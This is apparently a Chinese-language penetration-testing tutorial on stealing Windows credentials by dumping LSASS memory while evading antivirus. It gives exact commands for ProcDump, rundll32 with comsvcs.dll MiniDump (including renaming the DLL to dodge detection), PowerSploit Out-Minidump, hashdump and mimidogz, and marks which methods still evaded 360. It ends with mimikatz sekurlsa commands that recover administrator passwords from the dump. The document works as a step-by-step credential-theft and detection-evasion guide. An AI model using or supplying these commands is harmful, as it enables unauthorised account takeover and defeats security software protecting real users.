利用lsass免杀窃取凭证
利用lsass免杀窃取凭证
简介
windows下抓取密码神器mimikatz,使用该工具可以进行凭证窃取
现在mimikatz基本都是一上就被杀掉了,在渗透过程中直接用mimikatz已不现实。
我们知道,mimikatz抓取密码的原理是通过对lsass进程进行内存分析,那于是我们就可以先去获取lsass进程的内存dmp,然后将其转移到自己的电脑上,再使用mimikatz进行密码的抓取。由于目前对lsass进程的查杀也很严格,对lsass转储同样需要免杀。
几种免杀转储方式
使用Procdump进行抓取lsass内存
0x01 微软商店ProcDump(已失效)
我们首先尝试使用微软商店工具 ProcDump 绕过杀软,因为是微软自己的工具,所以看看他是不是能获取系统和杀软的信任
项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
但报毒了
虽然 Procdump
是微软自家的软件,360还是会报毒
我们再尝试以下几种方法绕过杀软:
0x02 使用系统内置comsvcs.dll绕过杀软(已失效)
其实刚才 procdump 转储lsass也是利用这个原理使系统信任我们的操作,但360并不信任,我们只能继续寻找方案
comsvcs.dll,系统自带。通过comsvcs.dll 的导出函数MiniDump实现内存dmp。
PS: 进行这个操作时,需要拥有 SeDebugPrivilege 的权限,whoami /priv
可以看到,powershell默认是开启此权限的,而cmd却禁用
首先找到 lsass 的PID为484
tasklist | findstr lsass.exe
rundll32.exe comsvcs.dll MiniDump 484 C:\Users\0xL4k1d\Desktop\lsass full
ok,直接报毒
此时我们想到,把这个 comsvcs.dll 复制到其他随意目录并取个新的名字,叫test.dll
copy C:\windows\System32\comsvcs.dll C:\Users\0xL4k1d\Desktop\lsass\test.dll
rundll32.exe test.dll, MiniDump 544 lsass.dmp full
还是被杀,暂时没找到其他绕过的方法
0x03 PowerSploit 脚本 Out-MiniDump.ps1(截止2022.2.8有效)
使用 PowerSploit 的Out-MiniDump模块,PowerSploit 是一个基于 Powershell 的渗透工具包,可以选择创建进程的完整内存转储。工具项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
Import-Module .\Out-Minidump.ps1
Get-Process lsass | Out-Minidump
成功,并且没有报毒
接下来把lsass转储到自己的主机再用mimikatz抓取密码即可
看lsass.dmp文件生成的路径位置,然后把这个文件下载到攻击机上的mimikatz.exe所在的路径,在这个路径进入cmd命令行,然后执行:
mimikatz.exe "sekurlsa::minidump lsass.dmp"
# 接着执行
sekurlsa::logonpasswords
成功抓取管理员权限的用户密码
0x04 hashdump 脚本(截止2022.2.8有效)
PS: cmd或者双击 hashdumpX64.exe 只会生成一个0kb的lsass.dmp,需要通过Powershell执行
成功,并且没有报毒
0x05 mimidogz——ps版mimikatz(截止2022.2.8有效)
项目地址:https://github.com/fir3d0g/mimidogz
下载后在目录中执行:
Import-Module .\Invoke-Mimidogz.ps1
invoke-mimidogz
处理的比较慢,耐心等待就显示出来了
成功抓取